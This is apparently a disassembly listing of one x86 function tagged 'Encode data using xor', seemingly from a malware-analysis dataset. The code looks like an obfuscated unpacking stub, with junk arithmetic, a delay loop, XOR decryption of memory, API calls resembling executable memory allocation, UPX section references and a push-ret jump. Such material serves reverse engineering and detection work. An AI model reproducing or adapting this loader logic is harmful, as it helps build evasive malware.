Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x8533d63d
add edx, 0x8c170570
mov edx, eax
popal
inc eax
or eax, eax
add eax, 0xc9b8bda9
mov esi, 0
mov edi, ecx
mov ebx, eax
inc eax
mov ebx, eax
mov edx, edi
add ebx, 0x49c42caa
sub ebx, 0xf7b70f61
sub eax, 1
mov ecx, edx
add eax, 0x12a3ad4f
add eax, eax
inc esi
add eax, ebx
mov ebx, eax
cmp esi, 0x1003ff4
jne 0xa789c9
add eax, eax
sub eax, 0xc3f5cdc9
add edx, eax
add edx, eax
sub eax, 0x7c714321
mov ecx, 0xa78796
dec ebx
sub eax, esi
mov edx, 0xa7898a
inc ebx
add ebx, esi
mov edi, dword [ecx]
mov ebx, 0x174fb352
add esi, esi
add ebx, 1
and edi, 0xff
add ebx, 0x941d24b2
sub esi, eax
sub ebx, 0x1c50e2d0
xor dword [edx], edi
add esi, 0x5b265c
mov eax, ebx
add edx, 1
or ebx, esi
sub eax, 0x3e4d80d7
inc ecx
sub esi, 0x6225c608
mov eax, 0xd01b9306
add ebx, esi
cmp edx, entry0
jl 0xa78a21
mov eax, 0x4423ec22
mov eax, 0xc8b8f132
mov ebx, 0x31c68111
or ebx, eax
and ebx, esi
or ebx, edx
or ebx, edi
mov esi, 0xa7898e
sub ebx, edx
mov ecx, 0x64bfc5ee
mov esi, dword [esi]
or ecx, edi
mov edx, 0xe0b854e6
mov esi, dword [esi]
inc ebx
mov edx, 0x5bd2e6e6
mov edi, edx
push esi
add ebx, 0xbfae7600
mov edi, edx
dec ecx
mov esi, 0xa7898a
add edx, ecx
mov edi, 0x9fde821c
add ecx, 0xcf074dc9
mov esi, dword [esi]
sub edx, 0x1112a019
sub edx, 0x61493e0c
sub edi, 0x81d4294
mov esi, dword [esi]
sub ebx, 0xe594f52e
sub edi, ebx
add ecx, 0xaec3f2ef
push 0xa78992
not edx
dec ecx
call esi
add ebx, 0x868d1fb1
sub edx, ebx
pop esi
dec ecx
and ebx, edi
push 0xa7899f
sub ebx, 0xa69a6e28
add edx, 0x6a3b8331
sub ebx, edi
push eax
mov ecx, 0x9c2f38e1
add edx, 0x4f193601
call esi
add ecx, 0xa4267e44
add edi, edx
push 0x40
mov edx, 0x71dee69e
mov ecx, edi
or edi, ecx
sub esp, 4
mov dword [esp], 0x3000
add edx, 0xdea6f726
or edx, ebx
push 0x200007cc
not edx
sub ecx, 0x81ed2476
mov edi, 0x6c241179
sub esp, 4
mov dword [esp], 0
add ecx, 0x8fa61bd9
and ebx, ecx
call eax
add edi, 0x1fed06
inc ebx
mov ebx, edx
add eax, 0x20000708
inc edi
mov edx, ebx
mov esi, 0x9d54e3f
mov ebx, ecx
sub edi, 0x77972187
mov dword [eax], esi
sub ecx, 0xf64f111e
mov ecx, edx
mov ecx, 0x7c7c5cb3
mov esi, dword [eax]
sub ebx, 1
sub edx, ebx
sub edi, ecx
cmp esi, 0x9d54e3f
je 0xa78bba
mov ebx, 0
mov byte [ebx], dl
sub edx, ebx
dec edx
inc edi
sub edx, edi
and ecx, edx
and edx, eax
not eax
add eax, 0x6298fccc
mov ebx, section.UPX1
and eax, eax
sub eax, 0xb4af1252
mov edx, eax
mov ecx, 0xa78795
sub eax, 1
sub edx, 0x7018db70
mov esi, 0
sub eax, 1
add edx, 1
mov edi, 0xa78796
mov eax, edx
sub eax, 1
sub edx, 0x4efd32e1
lea edi, [esi + edi]
mov eax, edx
dec eax
mov eax, 0x33c0c2e5
mov edi, dword [edi]
and edx, eax
mov edx, 0x588218d2
and edx, eax
and edi, 0xff
or eax, eax
dec edx
add esi, 1
inc eax
dec eax
mov eax, edx
cmp esi, 0x1f4
jne 0xa78c46
mov esi, 0
mov edx, eax
add edx, 0x3a5de09e
sub edx, 0xbd390e74
mov eax, edx
mov eax, 0x367f5343
xor dword [ebx], edi
add eax, 1
add edx, 0x71c84a23
add ebx, 2
not eax
or edx, eax
cmp ebx, ecx
jl 0xa78bfd
inc eax
sub edx, eax
mov edx, 0x61ec7a29
sub edx, 0x81550f77
mov edx, eax
mov ecx, section.UPX1
and edi, edi
sub edi, 0x978d5bb5
and edi, ebx
mov eax, section.UPX1
and edi, ebx
or ebx, ebx
mov ebx, 0x14551f4f
mov esi, 0xa78795
add ebx, 0xcd6440dc
add edi, 0xf94abcb
dec ebx
mov edx, 0
sub edi, 0x31e19aad
and ebx, edi
mov dl, byte [eax]
not ebx
not ebx
and edi, ebx
mov byte [ecx], dl
add edi, 0x50564a61
dec ebx
add ebx, 0x1914ba7
inc ecx
or ebx, edi
add edi, 0xcaac59b4
mov ebx, 0x7b508450
add eax, 2
and ebx, ebx
add ebx, 0x31fd8c26
cmp eax, esi
jle 0xa78cc7
add ebx, ebx
mov ebx, 0x584f1eac
add eax, 0xbd762326
dec edx
push 0x8dc6a0
inc eax
add edx, 1
ret